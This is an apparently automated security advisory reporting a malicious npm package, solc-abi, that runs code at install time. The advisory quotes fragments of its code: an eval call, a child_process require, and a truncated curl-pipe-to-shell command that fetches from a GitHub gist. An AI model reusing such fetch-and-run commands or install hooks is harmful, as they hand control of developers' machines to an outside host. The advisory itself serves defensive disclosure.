GCVE-110-OSM-2026-4201

Advisory PublishedCVSS 8.8/10

Vulnetix · Advisory published May 13, 2026

[osmalyze-auto] Malicious package detected. Behaviors: code execution, network activity, install-time execution. [osmalyze-auto] Entrypoint: index.js (main: index.js) Key findings: - Dynamic Code Execution in package.json: "eval(o)" - Shell Command Execution in package.json: "require('child_process')" - Curl/Wget Pipe to Shell in package.json: "curl -s https://gist.githubusercontent.com/guellemilb/631fb6348967d9d475125edf67..." - Brand New Package - Very New NPM Publisher Account

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

8.8/10

High · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown	solc-abi	all (affected)	—

References

Malicious npm package: solc-abi

advisory

vendor

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